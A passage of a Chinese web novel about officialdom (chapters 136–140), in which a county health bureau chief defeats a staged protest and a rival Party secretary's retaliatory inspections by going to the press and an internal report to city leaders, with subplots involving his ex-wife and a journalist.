青山镇,康复中心工地的临时办公室里。
叶凡挂掉电话,转身看着身旁的苏沐秋。
“鱼上钩了,但还不够大。”
他对苏沐秋附耳低语,交代了几句。
苏沐秋的眼神瞬间一亮,她重重地点了点头,抓起车钥匙就往外走。
“我马上去!”
她没有丝毫拖沓,立刻驱车返回江城。
叶凡则像是没事人一样,转身投入到了康复中心的工作中。
仿佛县城那场愈演愈烈的风波,与他毫无关系。
他找到了陈望道,联手为三名从县机械厂接过来的老工人进行会诊。
这三位老人都因多年前的工伤事故导致下半身瘫痪,被判定了“死刑”。
会诊结束后,叶凡当场宣布。
康复中心将免费为这三位老师傅,进行为期三个月的“中西医结合神经唤醒疗法”系统性治疗。
消息通过镇里的广播站传出,迅速在县城里扩散。
人心,开始变得浮动。
一边,是“被暴力裁员”的下岗员工在卫生局门口哭天抢地。
另一边,是新局长亲自坐镇,为瘫痪多年的重症病人提供无偿救助。
两种截然不同的形象,在青川县的上空,形成了一种微妙的对峙。
傍晚时分,马文亮的电话再次打了过来。
声音里已经带上了哭腔。
“叶局,顶不住了!他们……他们不知道从哪请来了市电视台的记者!”
“现在正在现场采访,镜头专门对着那几个老人哭的样子拍,周围的老百姓都在骂我们……”
“张书记的秘书也打来电话,‘关心’地问我们,为什么会引发群体性事件!”
叶凡站在工地的土坡上,看着远处已经亮起点点灯火的青山镇,嘴角勾起一抹不易察觉的弧度。
他声音依旧平稳。
“别急,让子弹再飞一会儿。”
“真正的记者,还在路上。”
第136章 舆论反转,请君入瓮!
县卫生局大院门口,哭声震天。
市电视台的记者,一个头发抹得油光锃亮的年轻人正将话筒递到一个白发苍苍的老太太嘴边,脸上是恰到好处的悲悯。
“大娘,您别激动,慢慢说。您的意思是,您在卫生局辛辛苦苦干了半辈子,现在这位新来的叶局长,一句话就把您开除了,连个说法都没有?”
老太太一把鼻涕一把泪,捶着胸口:“我冤啊!我男人死得早,就指着这点工资养活孙子……他这是不给我们活路啊!”
周围的群众被这番景象感染,义愤填膺的议论声此起彼伏。
“太欺负人了!新官上任也不能这么搞啊!”
“就是,看把老人家给逼的。”
“那个姓叶的局长呢?让他出来!”
油头记者对着镜头,用沉痛的语气做着总结:“我们看到一场不近人情的改革,正在伤害着为这座城市奉献了一生的老人们。我们不禁要问,发展的温度何在?人性的关怀何在?我们将持续关注此事……”
马文亮站在二楼办公室的窗户后面,感觉自己的血压计已经爆表了。
手机跟催命符一样响个不停,县委办、宣传部、信访办……一个个电话打过来,语气客气,话里却都藏着刀子,问他为什么会引发“群体性事件”。
他感觉自己就是那只被架在火上烤的鸭子,油都快被烤干了。
县委书记办公室里,张海涛悠然地品着一杯龙井。
秘书正在低声汇报着卫生局门口的情况。
“书记,市电视台的记者都去了,现场群众情绪很激动,马文亮快顶不住了。”
张海涛嘴角微微上翘,放下茶杯:“年轻人嘛,有锐气是好事,但做事不计后果,迟早要摔跟头。这盆冷水,就是要让他清醒清醒,明白在青川县,不是他想怎么干就能怎么干的。”
他仿佛已经看到叶凡灰头土脸地从青山镇赶回来,向自己低头认错的场景。
就在卫生局门口那场精心编排的悲情戏演到高潮时,一辆印着《江城晚报》字样的采访车,不急不缓地停在了路边。
车门打开,苏沐秋一身干练的职业装跳了下来。
但让她身边那位油头记者脸色微变的是,跟她一起下车的是江城报业集团首席评论员,在省里都挂得上号的“一支笔”——老评论员周毅。
周毅年过五旬,目光犀利,是出了名的不畏权贵、只认事实。
他写的内参,连市委书记都要亲自批示。
油头记者心里咯噔一下,这尊大佛怎么来了?
苏沐秋和周毅并没有理会哭闹的人群,径直走向了卫生局大门。
马文亮像是接到了圣旨,立刻从楼里冲了出来,一脸“悲愤”地迎了上去。
“周老师!苏记者!你们可算来了!你们快来看看,这都叫什么事啊!”马文亮演技上线,一副快要被逼疯的模样。
“马局长,别急。”周毅扶了扶眼镜,声音沉稳,“我们接到群众举报,说卫生局正在进行一场深刻的‘自我革命’,我们是来了解情况的。不如,就在这,开个现场说明会,把事情当着大家的面,说清楚。”
“现场说明会?”油头记者一愣。
马文亮马上让人搬来了桌子和一块白板,他深吸一口气,站到了桌子后面。
这一刻,他感觉自己不是马文亮,而是叶凡的“刀”。
“各位父老乡亲,各位媒体朋友!”马文亮的声音通过一个手持喇叭传遍全场,“今天,我代表青川县卫生局,就在这里,把账给大家算清楚!”
他猛地将一叠文件拍在桌上,拿起一张考勤表:“这位王爱萍大娘,说她辛辛苦苦干了半辈子。这是她上一季度的考勤记录!总共九十天,她请病假四十五天,事假三十天,实际出勤,十五天!而且这十五天里,有十天是迟到早退!”
他又拿起一份报告:“这位柳建军同志,他的岗位是下乡监督员。这是他半年写的唯一一份工作报告,报告里说他走访了白马镇的卫生所。可笑的是,他连白马镇卫生所院长的名字都抄错了!而且,这份报告里提到的扶贫数据,是三年前的!”
“还有……”马文亮越说越激动,将那些工资表、报销单一张张贴在白板上,“这位,是我们局里一位领导的亲戚,挂着‘司机’的职,两年没开过一次车,工资奖金一分不少!这位,更厉害,人常年在省城带孙子,每月‘卫生协管员’的补贴照样领!”
“大家说!这样的人,该不该清退?纳税人的钱,该不该养这种懒汉、蛀虫?!”
马文亮声色俱厉的质问,像一记记重锤,砸在每个人的心上。
人群安静了下来,风向悄然转变。
那些刚刚还义愤填膺的群众,此刻看着白板上的证据,眼神变得复杂起来。
那几个哭闹的主力,脸色煞白,眼神躲闪。
苏沐秋适时地将一个U盘递给马文亮:“马局长,这是我们记者在外面拍到的一些画面,您不妨也放给大家看看。”
马文亮立刻让人接上笔记本电脑和投影仪,一段视频被投射在白板上。
画面里,那个哭得最凶的老太太,正从一个男人的手里接过一个鼓鼓囊囊的信封。
而那个男人,正是县人大钱副主任的专职司机。
画面一转,是几个“维权者”聚在一起吃盒饭的场景,言谈举止间,丝毫没有失业的愁苦,反而像是在参加一场郊游。
“哗——”
人群彻底炸了!
“搞了半天是演戏啊!”
“妈的,把我们当傻子耍!”
“不要脸!为了点钱,什么都干得出来!”
油头记者手脚冰凉,冷汗涔涔。
他知道,自己的新闻,成了一个天大的笑话。
他趁着众人不注意,灰溜溜地收起设备,钻进采访车,一溜烟跑了。
周毅看着这戏剧性的一幕,推了推眼镜,犀利的目光投向马文亮。
“马局长,据我所知,叶凡局长清退这些人的同时,正在青山镇,为三名瘫痪了数年的老工人,进行免费的康复治疗,有这回事吗?”
这个问题,像是一记绝杀。
马文亮精神大振,立刻切换情绪,用充满感情的语调,讲述了机械厂周国福等三位老人的悲惨遭遇,讲述了他们如何被旧的医疗体系放弃,又如何在新局长叶凡这里,重新燃起了生命的希望。
“叶局长说了!我们卫生局省下来的每一分钱,都要用在刀刃上!用在这些最需要帮助的老百姓身上!我们清退十五个不干活的,就能省出钱来,救活三十个、五十个真正困难的家庭!”
一番话,掷地有声。
人群中,一个大爷激动地喊了起来:“这才是真正为我们老百姓办事的官!”
“对!支持叶局长!”
“把那些骗子抓起来!”
哭闹的人群瞬间作鸟兽散,那两条刺眼的横幅,被愤怒的群众撕得粉碎。
张海涛办公室里,他刚收到了秘书惊慌失措的汇报。
“砰!”
那只名贵的紫砂茶杯,被他狠狠地摔在地上,四分五裂。
他的脸涨成了猪肝色。
他精心设下的局,不仅被叶凡破了,还被对方反手利用,变成了叶凡收拢人心、树立威望的舞台。
他非但没能给叶凡泼上脏水,反而给叶凡送去了一件金光闪闪的“政绩外衣”。
这个年轻人……不是绵羊,是一头披着羊皮的恶狼!
青山镇,工地的临时办公室里,夜色已深。
叶凡正对着一张人体经络图,研究着针灸的穴位。
“叮铃铃!”
桌上的电话响了,是马文亮打来的。
电话那头,马文亮的声音带着劫后余生的颤抖和一种前所未有的敬畏。
“叶……叶局……结束了,全……全都按您说的,结束了。我们……赢了。”
叶凡的目光没有离开那张图纸,只是淡淡地嗯了一声。
“这只是清创,”他拿起一支红笔,在图上的“环跳穴”上,重重地画了一个圈,“真正的手术,还没开始呢。”
第137章 敲山震虎,剑指沉疴!
县委书记办公室里,名贵的紫砂壶碎片还静静地躺在地毯上,像一张破碎的鬼脸。
张海涛面沉如水,坐在大班椅上,一根接着一根地抽烟。
烟灰缸里,烟头已经堆成了小山。
他输了,输得一败涂地,输得莫名其妙。
他想不通,自己一个电话就能调动的市电视台,怎么就输给了《江城晚报》一个名不见经传的小记者和一个退休的老家伙?
他更想不通,叶凡人远在百里之外的青山镇,是如何运筹帷幄,将一场针对他的围剿,变成了自己的表彰大会。
“书记,现在外面都说……说叶局长是咱们县里唯一一个敢对利益集团动刀子的好官。”秘书站在一旁,声音小得像蚊子叫,生怕引燃老板的怒火。
“好官?”张海涛从牙缝里挤出两个字,将烟头狠狠摁进烟灰缸,“他这是在刨我的根!”
卫生系统的水有多深,他比谁都清楚。
那些被清退的人,那些被触动的采购链条,哪一个后面没有千丝万缕的联系?
叶凡这一刀下去,看似砍的是马文亮划出的那十几个人,实际上是砍在了他张海涛经营多年的关系网上。
疼,钻心的疼。
“去,给药监局、工商局、消防队都打个招呼。”张海涛的眼神阴鸷下来,“让他们近期多‘关心关心’青山镇那个康复中心。施工安全、药品资质、消防合规……一样都不能少。他不是想搞样板工程吗?我就让他连地基都打不牢!”
与这里的阴霾密布不同,县长李建国的办公室里,却是笑声朗朗。
“哈哈哈,漂亮!小叶,你这一手‘隔山打牛’,打得真是漂亮!”李建国亲自给风尘仆仆从青山镇赶回来的叶凡续上热茶,“张海涛这次是偷鸡不成蚀把米,赔了夫人又折兵。我听说他今天在办公室里摔了一套心爱的茶具,啧啧,那可是正宗的宜兴紫砂。”
李建国心情极好,说话也少了几分官腔,多了几分亲近。
“你那个马文亮,用得不错。一条被逼到绝路的狗,咬起人来,比谁都狠。”
叶凡笑了笑,没有接话。
他知道,李建国叫他回来,不只是为了夸奖几句。
果然,李建国话锋一转:“不过,你也要有心理准备。张海涛这个人,睚眦必报。明枪被你躲过去了,暗箭可不好防。他现在肯定憋着劲,想从你的‘青山模式’上找茬。”
“兵来将挡,水来土掩。”叶凡的语气很平静。
“好!”李建国欣赏的就是他这股子泰山崩于前而色不变的沉稳劲,“有这个心态就好。你放心,县政府这边,就是你的大后方。他张海涛敢乱伸手,我就敢剁他的爪子!”
这番话,已经是赤裸裸的站队和承诺。
叶凡顺势将一份刚打印出来的文件推了过去:“李县长,既然毒疮已经切开,我想,不如趁热打铁,把里面的烂肉也一并剜掉。”
李建国拿起文件,标题让他眼皮一跳——《关于成立青川县医疗系统统一采购与招标监督小组的建议方案》。
他看得很快,越看,眼神越亮。
叶凡的方案,釜底抽薪,狠辣至极。
他建议成立一个由县政府办公室、财政局、纪委、卫生局共同组成的跨部门监督小组,将全县所有公立医院、卫生院的药品、器械、耗材采购权,全部上收到这个小组。
以后,不再是各家医院自己买,而是全县统一招标,统一采购,统一配送。
这意味着,过去那些药代和院长、科室主任勾兑的空间,那些虚报价格、吃拿回扣的潜规则,将在这套制度下,被彻底碾碎。
“你想好了?”李建国放下方案,手指在上面轻轻敲击,“这可不是清退几个人那么简单。这里面的水,深不见底。全县医疗系统的药品和器械采购,一年下来,流水上亿。你这是要断所有人的财路,他们会跟你拼命的。”
“我来卫生局,不是为了交朋友的。”叶凡看着李建国的眼睛,“您把我放在这个位置上,也不是想让我当个和事佬。这块‘牛皮癣’,要想彻底根治,就必须上这台手术。”
李建国与他对视了足足半分钟,忽然咧嘴笑了。
“好一个‘不是为了交朋友’!”他拿起笔,在方案的封面上龙飞凤舞地签下三个字:李建国。
然后,他看着叶凡,一字一顿地说:“这个小组,我亲自担任名誉组长。你,来当这个常务副组长,具体操盘。人,你从各单位随便挑;钱,财政局全力保障。我倒要看看,谁敢跟你拼命!”
叶凡心中一块大石落地。
有了李建国这面大旗,这把指向沉疴的利剑,才算是真正开了刃。
从县政府大楼出来,已是黄昏。
叶凡没有回卫生局,而是开着车,在县城里漫无目的地绕着。
他知道,一场更大的风暴,即将因他而起。他需要片刻的安静,来梳理思绪。
车子不知不觉开到了江边。
他停下车,点了一支烟,看着江面上落日的余晖。
晚风吹来,带着水汽,让他紧绷的神经稍稍放松。
这场斗争,他不能输。
他背后,站着李建国,站着钱国栋,站着孙兆龙那些真心想干事的人,更站着王铁柱那些渴望改变命运的普通百姓。
他正想着,手机忽然震动起来。
他拿起来一看,屏幕上跳动着的名字,让他微微一怔。
柳如烟。
自从离婚后,这个名字就再也没有出现在他的来电显示里。
他犹豫了片刻,指尖在屏幕上悬停。
过往的羞辱、误解、心碎,像潮水般涌上心头。他本能地想挂断。
但最终,他还是划开了接听键,却没有说话。
电话那头,是长久的沉默,只能听到女人略显急促的呼吸声。
“……叶凡。”
柳如烟的声音,透过听筒传来,带着一丝她自己都未察觉的颤抖和迟疑。
“是我。”叶凡的声音很平淡,听不出任何情绪。
“我……我看到《江城晚报》的报道了。”柳如烟的声音很低,“你……你做得很好。”
叶凡轻笑一声,笑声里带着一丝说不清的嘲弄:“是吗?我以为在你们眼里,我永远是那块扶不上墙的烂泥。”
“我不是那个意思!”柳如烟急忙解释,“叶凡,我知道我以前……对不起。我今天打电话,是想告诉你一件事。”
她深吸一口气,像是下定了巨大的决心。
“当初那张照片……是假的。”
“是我哥,是柳志鹏找人P的图,他故意陷害你,就是为了逼我们离婚!”
这个消息,叶凡并不意外。
在经历了这么多事后,他早已猜到了七八分。
只是,从柳如烟口中亲口说出来,还是让他的心脏像被针扎了一下。
“所以呢?”他的声音依旧平静,甚至可以说是冷漠,“现在来告诉我这些,是想让我感激你,还是想让我原谅他?”
“不!不是的!”柳如烟的声音里带上了哭腔,“我只是……我只是想让你知道真相。叶凡,我们……”
她似乎想说什么,但又咽了回去。
叶凡掐灭了烟头,看着江面最后一丝光亮被黑暗吞噬。
“真相?真相就是,在你和你家人的眼里,我叶凡的前途,远没有你们的面子重要。一张照片,就能让你们给我定死罪。”
“柳如烟,我们已经离婚了。过去的事,没必要再提。”
“嘟……嘟……嘟……”
听着电话里的忙音,柳如烟握着手机,无力地蹲在了地上,眼泪汹涌而出。
她以为说出真相,能换来一丝转机,换来的,却是比冰雪更冷的墙壁。
江边,叶凡放下手机,揉了揉眉心。
他以为自己早已心如止水,可柳如烟这通电话,还是在他平静的湖面上,激起了一丝涟漪。
那不是爱,也不是恨,而是一种对过去的彻底告别。
就在这时,他的手机又响了。
这一次,是苏沐秋。
他几乎没有犹豫,立刻接了起来。
“喂,叶大局长,忙完了吗?我刚下班,饿死了,赏个脸,请我们报社的功臣吃个饭呗?”苏沐秋轻快活泼的声音,像一道阳光,瞬间驱散了叶凡心头的阴霾。
“想吃什么?”叶凡的嘴角,不自觉地微微上扬。
“嗯……就吃城南那家大排档的麻辣小龙虾吧,我要吃最辣的那种!”
“好,我马上到。”
挂了电话,叶凡发动了车子。
后视镜里,那个让他备受屈辱的过去,正在迅速远去。
而前方,有热气腾腾的江湖,也有并肩作战的战友。
他的路,才刚刚开始。
第138章 辣味江湖,温柔陷阱!
城南的大排档,是青川县最有烟火气的地方。
夜幕下,几十张简陋的桌子沿街铺开,红色的塑料凳子像散落的棋子。
空气里弥漫着孜然、辣椒和蒜蓉混合的霸道香气,炒锅与铁铲的碰撞声、酒瓶的清脆撞击声、食客们高声的谈笑声,汇成了一曲生机勃勃的市井交响乐。
叶凡把车停在街口,一眼就看到了那个坐在角落里的身影。
苏沐秋换下了一身职业装,穿着简单的白T恤和牛仔裤,扎了个清爽的马尾,正托着下巴,饶有兴致地看着邻桌两个划拳喝啤酒的大汉。
她就像这片嘈杂油腻的江湖里,一朵开得恰到好处的栀子花,清新又自在。
“看什么呢,这么入神?”叶凡拉开她对面的凳子坐下。
苏沐秋回过神,眼睛亮晶晶的:“在研究民生百态。叶大局长,你可算来了,我肚子都快饿扁了。”
她扬了扬手里的菜单:“点好了,三斤麻辣小龙虾,特辣。敢不敢?”
叶凡看着她眼里的促狭,笑了:“我连刮骨疗毒的手术都敢做,还怕这个?”
很快,一大盆红彤彤、油亮亮的小龙虾被端了上来,热气腾腾,香气扑鼻。
苏沐秋迫不及待地戴上一次性手套,拿起一只,动作娴熟地一拧一剥,就把一块完整的虾肉送进了嘴里,辣得嘶嘶哈哈,小脸通红,眼睛里却闪着满足的光。
“过瘾!”
她含糊不清地说,又拿起一只。
叶凡看着她这副毫无形象的馋猫样,紧绷了几天的神经,不知不觉就松弛了下来。
在这里,他不是卫生局长,不是李县长的刀,也不是张书记的眼中钉。
他只是一个陪女孩子吃夜宵的普通男人。
他也戴上手套,剥了一只虾,却没有自己吃,而是很自然地放进了苏沐秋面前的空碗里。
苏沐秋的动作一顿,抬起头,有些意外地看着他。
灯光下,他的侧脸轮廓分明,眼神专注,像是在完成一台精细的缝合手术。
“看我干嘛,吃啊。”叶凡又剥好一只,放进她碗里,“今天你是头号功臣,我给你剥。”
苏沐秋的脸颊有些发烫,心跳漏了一拍。
她低下头,小声嘟囔了一句:“谁要你剥了,我自己有手……”嘴上这么说,却还是夹起那块虾肉,美滋滋地吃了。
“哎,说真的,”苏沐秋一边吃,一边八卦地凑过来,“你到底把马文亮怎么了?我今天去卫生局,看他跟见了鬼一样。那些老油条现在见了他,跟老鼠见了猫似的。你是不是给他下什么蛊了?”
“我只是帮他矫正了一下世界观。”叶凡剥着虾,说得云淡风轻,“让他明白,与其当一条随时可能被主人抛弃的看门狗,不如当一把能决定自己命运的刀。”
苏沐秋听得一愣,随即“噗嗤”一声笑了出来:“你这比喻,太损了。不过,也真贴切。我听说,市电视台那个油头记者,回去就被停职了,写了三万字的检查。他们台长亲自打电话到我们报社,跟周老师道歉。你这一仗,把张海涛的脸都打肿了。”
“他不会善罢甘休的。”叶凡把又一块虾肉放进苏沐秋碗里,“这种人,明着不行,就会来暗的。官场上的暗箭,比手术刀还难防。”
苏沐秋看着他,忽然不说话了。
她摘掉手套,抽了张纸巾,伸出手,轻轻擦掉了叶凡嘴角沾上的一点油渍。
她的指尖温热柔软,带着一丝若有若无的香气,不经意地触碰到了他的皮肤。
叶凡的身体瞬间僵住。
空气仿佛在这一刻凝固了,周围的喧嚣都退得一干二净。
他能清晰地看到她微微颤动的睫毛,和那双清澈眸子里映出的自己。
苏沐秋也意识到了自己的动作有多暧昧,脸“腾”地一下红透了,像受惊的小鹿,闪电般收回手,抓起一只虾,假装镇定地剥着,心却跳得厉害。
“你……你脸上脏了。”她没话找话地解释。
叶凡的喉结动了动,拿起杯啤酒喝了一大口,才压下心头那股异样的感觉。
“谢谢。”他的声音,有一丝不易察觉的沙哑。
“叮铃铃!”
就在这微妙的气氛中,叶凡的手机不合时宜地响了起来。
他看了一眼来电显示,眉头立刻皱了起来。
钱国栋。
这么晚了,这位老书记打电话过来,绝不会是请安问好。
“喂,钱书记。”叶凡接起电话,语气恢复了平日的冷静。
苏沐秋也停下了手里的动作,关切地看着他。
电话那头的声音,急促而压抑,还夹杂着风声和嘈杂的背景音。
“叶凡!出事了!”
“县消防队和药监局的人,晚上八点多,突然搞联合突击检查!二话不说,直接冲到我们康复中心的工地上,说我们脚手架有安全隐患,临时工房的电线乱拉,消防设施不达标!”
“药监局那边更狠,说我们从中药铺收购来的那些药材,没有规范的入库记录和质检报告,有安全风险!现在,两边都下了整改通知单,勒令工地全面停工,所有药品就地封存!”
钱国栋的声音里,充满了压抑不住的怒火。
叶凡的眼神瞬间冷了下来。
好一招釜底抽薪!
他前脚刚在县里挥起改革大刀,张海涛后脚就精准地抄了他的后路。
消防、药监,这些都是专业性极强的部门,他们要用条条框框的规定来卡你,你就算浑身是铁,也打不了几根钉。
他们甚至不需要捏造事实,鸡蛋里挑骨头,总能挑出毛病。
这比在卫生局门口哭闹,高明了不止一个档次。
“他们人还在吗?”叶凡问道。
“刚走!临走时还扔下一句话,说什么时候整改合格,什么时候才能复工!这不明摆着是拖时间吗!工地停工一天,损失就是几万块!我们等不起啊!”钱国栋急道。
“钱书记,你先别急。”叶凡的声音异常镇定,仿佛被冰水浇过,“不要跟他们起任何冲突,更不要去找他们理论。他们要查,就让他们查。他们要封,就让他们封。”
“什么?”钱国栋愣住了,“就这么让他们得逞?”
“这不是得逞,这是送礼。”叶凡的嘴角勾起一抹冰冷的弧度,“他们不是要检查吗?那我们就让他们好好检查。你现在马上安排人,把工地上所有的施工记录、安全日志,还有我们药品采购的所有单据、台账,全部复印一份。”
“另外,打开我们工地的所有监控摄像头,确保二十四小时无死角录像。他们既然喜欢按规矩办事,那我们就陪他们把规矩玩到底。”
挂了电话,大排档的烟火气似乎也冷了下去。
苏沐秋看着叶凡,他脸上已经没了刚才的半分温情,那双眼睛里,闪烁着狼一样的光芒。
“是张海涛干的?”她轻声问。
“除了他,没人有这个能量,能同时调动两个实权部门搞夜间突袭。”叶凡拿起一只小龙虾,慢慢地剥着,动作条理清晰,眼神却冷得吓人。
“那你打算怎么办?他们这是典型的程序陷阱,跟你耗时间,能把整个项目拖垮。”苏沐秋担忧地说。
“他想打组合拳,那我就陪他打。”叶凡将剥好的虾肉放进嘴里,慢慢咀嚼着,辛辣的味道在口腔里炸开,刺激着他的味蕾,也让他的头脑愈发清醒。
“他有他的规矩,我也有我的玩法。”叶凡看着苏沐秋,忽然笑了,只是那笑容里,带着几分森然的寒意。
“沐秋,又要辛苦你了。”
“我们报社,是不是有个栏目,叫《聚焦营商环境》?”
第139章 借东风,一纸捅破天!
苏沐秋的眼睛在油腻的灯光下,亮得像两颗星。
“《聚焦营商环境》?”她重复了一遍,瞬间明白了叶凡的意思,心头猛地一跳。
那股子混着辣椒味的兴奋劲儿,比小龙虾的后劲还大。
“你的意思是……”
“张海涛想跟我打官腔,讲规矩。”叶凡将最后一只剥好的虾肉放进苏沐秋的碗里,慢条斯理地摘掉手套,用餐巾纸擦着手,动作像是在擦拭一把刚用过的手术刀。“那我就把这个‘规矩’,摆到更大的台面上,让所有人都来评评理。”
他看着苏沐秋,眼神里已经没有了半点吃夜宵的闲适,取而代之的是一种冷静到近乎冷酷的锋芒。
“他们不是突击检查吗?好得很。哪个地方的消防队、药监局,会大半夜联合执法,去突袭一个县政府扶持、市里挂名的重点民生项目?这是执法,还是示威?”
“他们不是说工地有安全隐患,药品不合规吗?也行。钱书记那边有最全的施工日志、安全培训记录。我们采购的每一味药,都有留存的票据和台账。他要查,我就把所有账本摊开,让他查个够。”
苏沐秋的呼吸都跟着急促起来,她完全跟上了叶凡的思路,甚至想得更远。
“你不是要我写一篇新闻报道。”她一字一顿地说,声音里带着压抑不住的激动,“你是要我写一份‘案例分析报告’!”
“对。”叶凡点头,眼中露出赞许,“我要你分析的,不是青山镇的工地,而是青川县的‘营商环境’。一个被市里肯定的医疗改革试点,一个能让瘫痪工人重新站起来的希望,为什么会在青川县,遭到如此‘精准’而‘高效’的联合绞杀?这背后,反映了什么问题?是部门本位主义,还是有人滥用职权,公报私仇,把正常的行政监督,变成了打击异己的工具?”
“这种环境,今天能让一个康复中心停工,明天就能吓跑所有想来青川投资的客商!”
“这已经不是你叶凡一个人的事了。”苏沐秋接上他的话,眼睛越来越亮,“这是在给整个青川县的发展大局抹黑!是在打县长李建国的脸,甚至是在质疑市里领导的眼光!”
叶凡笑了。
和聪明的女人说话,就是省力。
她总能准确地捕捉到你最核心的意图,甚至帮你把它打磨得更锐利。
“所以,这篇报道,不能只发在晚报上。”苏沐秋拿起手机,整个人都进入了工作状态,那股子属于王牌记者的干练气场全开,“我要立刻回报社,找周毅老师。这篇稿子,必须以他的名义,作为《江城晚报》的内参,直接递到市委研究室和市政府办公厅!”
内参!
叶凡心中一震。他知道这意味着什么。
普通的报纸新闻,领导看了也就看了。但内参,是专门给市级领导看的“悄悄话”,每一篇都会被重点批示,其分量,足以掀起一场政治地震。
“我需要弹药。”苏沐秋站起身,居高临下地看着叶凡,眼神灼灼,“所有能证明你们清白的证据,施工记录、采购单据、专家的资质证明,还有钱书记他们录下的,那帮人‘执法’时的视频录像,一个都不能少。最重要的是,我要采访那三位准备接受免费治疗的瘫痪老工人,我要让他们亲口对着镜头说,是叶凡局长,给了他们第二次生命。”
“没问题。”叶凡也站了起来,“我马上让钱书记把所有材料的电子版发给你。”
“好!”苏沐秋抓起自己的包,转身就走,干脆利落。
走了两步,她又停下,回头看了一眼桌上那盆基本没怎么动的小龙虾,冲叶凡皱了皱鼻子,带着一丝狡黠的嗔意。
“叶局长,这次算我加班,饭钱你得出。另外,你还欠我一顿正经的,不能在这种地方,也不能再谈工作。”
“一言为定。”叶凡看着她被灯光勾勒出的俏丽背影,心头那点因柳如烟而起的涟漪和因张海涛而起的阴霾,都仿佛被这股鲜活的生命力冲散了。
他没有回卫生局,也没有回青山镇,而是直接开车去了县政府的招待所。
他知道,从苏沐秋发动的那一刻起,棋局就已经进入了全新的阶段。
他不能离开县城,他要在这里,等着那股东风,也等着张海涛的后手。
……
县委书记办公室。
张海涛的心情很不错,他正慢悠悠地给一盆名贵的君子兰浇水。
电话响了,是消防支队的队长王强。
“张书记,您放心,青山镇那个工地,我已经派人二十四小时盯着了。他们那个脚手架,别说复工,耗子爬上去都得崴脚。没个十天半个月的整改,别想过关。”王强的声音里满是谄媚。
“嗯,安全无小事嘛。”张海涛不咸不淡地说,“一定要严格把关,出了问题,我们都担不起责任。”
挂了电话,他又拨通了药监局局长孙平的手机。
“孙局,药材那边怎么样了?”
“书记,我都安排好了。那批药材,来源复杂,手续不全,按规定必须封存,然后逐一送检。一套流程走下来,没一两个月根本出不来结果。我保证让叶凡那个康复中心,开业就变成歇业。”
“很好。”张海涛满意地笑了,放下水壶,欣赏着自己的君子兰。
叶凡,你不是能耐吗?不是会搞舆论吗?
我不用舆论跟你斗,我就用规矩,用程序,用这密密麻麻的文件和条例,把你活活困死,拖死。
他仿佛已经看到,李建国因为重点项目停摆而被市里问责,叶凡则成了全县最大的笑话。
……
第二天上午,青川县政府常务会议正在召开。
会议室里烟雾缭绕,气氛沉闷。议题是关于下一季度的财政预算,各个部门的头头脑脑都在为自己的地盘哭穷、争吵,县长李建国的脸色很难看。
他心里烦躁。
青山镇项目被卡的事情,他已经知道了。
他气得一晚上没睡好,可这事偏偏让他有火发不出。
消防、药监,都是垂直管理的部门,业务上有人家的独立性。
张海涛这一招,打在了规则的框架内,他这个县长总不能公然下令,让他们违规放行。
他只能眼睁睁看着自己一手扶持起来的典型,被人生生按在泥里。
就在这时,会议室的门被猛地推开。
县政府办公室主任,李建国的大秘,老张,脸色煞白地冲了进来,手里紧紧攥着手机,连规矩都忘了。
“县长……”老张的声音都在发抖。
满屋子的争吵声戛然而止,所有人的目光都聚焦了过来。
李建国眉头一皱,沉声呵斥:“慌慌张张,成何体统!没看见正在开会吗?”
“不是……是……是市里……”老张跑到李建国身边,把手机递过去,压低了声音,那声音像是从冰库里捞出来的,“是市委黄秘书长的电话!”
市委秘书长!那可是市委书记的大管家!
李建国心里“咯噔”一下,一股不祥的预感涌上心头。
他接过电话,清了清嗓子,努力让自己的声音保持平稳。
“黄秘书长,您好,我是李建国。”
电话那头,黄秘书长的声音听不出喜怒,却带着一种不容置疑的威严。
“建国同志,我长话短说。今天一早,市委罗书记的案头,收到一份《江城晚报》的内参,标题是《“样板工程”缘何遭遇“半夜鸡叫”?——对青川县营商环境的冷思考》。”
李建国听到这个标题,脑子里“嗡”的一声,瞬间一片空白。
黄秘书长的声音还在继续,每一个字都像一颗钉子,钉进他的耳朵里。
“这份内参,把你们青川县那个‘青山医疗模式’的试点,写得很深刻啊。说它是市里关注、百姓期盼的民心工程,可就是这样一个工程,却被县里某些职能部门,以‘安全检查’为名,在半夜搞联合突袭,粗暴叫停。文章最后提了一个问题,问这究竟是正常的依法行政,还是个别干部在利用公权,设置障碍,破坏发展?”
“高书记看完,很不高兴。他让我问问你,你们青川县,现在到底是一个什么样的营商环境?是不是以后市里支持的重点项目,到了你们那,都要先被扒层皮?”
“建国同志,高书记说了,这件事,性质很恶劣。他要求你们县委县政府,立刻成立调查组,彻查此事!三天之内,必须给市委一个明确的答复!查清楚,到底是谁,在跟市委的决策唱反调!是谁,在破坏我们江城来之不易的发展局面!”
“嘟……嘟……嘟……”
电话挂断了。
整个会议室,死一般的寂静。
所有人都屏住了呼吸,惊恐地看着脸色由白转红,又由红转青的李建国。
李建国握着手机,手背上青筋暴起。
他先是震惊,然后是愤怒,但几秒钟后,一股难以言喻的狂喜,混杂着哭笑不得的情绪,猛地冲上了他的天灵盖。
他脑海里瞬间浮现出那个年轻人平静而坚毅的脸。
好小子!
我这边还在愁怎么帮你解围,你他娘的竟然直接把炮弹打到市委书记的办公桌上去了!
这哪里是告状?
这他妈是请来了一尊神仙,拿着尚方宝剑,来给张海涛点头了!
第140章 天火燎原,借力打力!
县政府常务会议室里,空气仿佛凝固了。
那根被县长李建国紧紧攥在手里的手机,像一个刚刚拉开引信的手雷。
满屋子的局长、主任们,大气都不敢喘一口,刚才还在为三瓜俩枣争得面红耳赤的嘴脸,此刻都换上了一副惊恐而茫然的表情。
市委高书记。
这几个字,在青川县这片天底下,就是圣旨。
李建国脸色由白转青,又从青转为一种诡异的潮红。
他紧握的拳头,指节因为用力而嘎吱作响。
“砰!”
他猛地一拍桌子,那只厚重的搪瓷茶杯被震得跳起半尺高,茶水溅了一桌。
“混账!简直是混账!”
一声雷霆之怒,让在场所有人都激灵灵打了个冷战。
“好啊,真是好啊!”李建国站起身,绕着会议桌来回踱步,眼神像刀子一样从每个人脸上刮过,“我们在这里辛辛苦苦谋发展,求爷爷告奶奶拉项目,有些人倒好,在背后给我捅刀子!挖墙脚!”
“半夜鸡叫?联合突袭?好大的官威!好大的本事!”他每说一句,声音就提高一分,胸中的怒火与狂喜交织在一起,几乎要喷薄而出。
他怒的是张海涛吃相如此难看,喜的是叶凡这小子,竟然给了他这么大一个惊喜!
这哪里是告状?这他妈是直接请来了天兵天将,把张海涛按在地上,指着鼻子问罪!
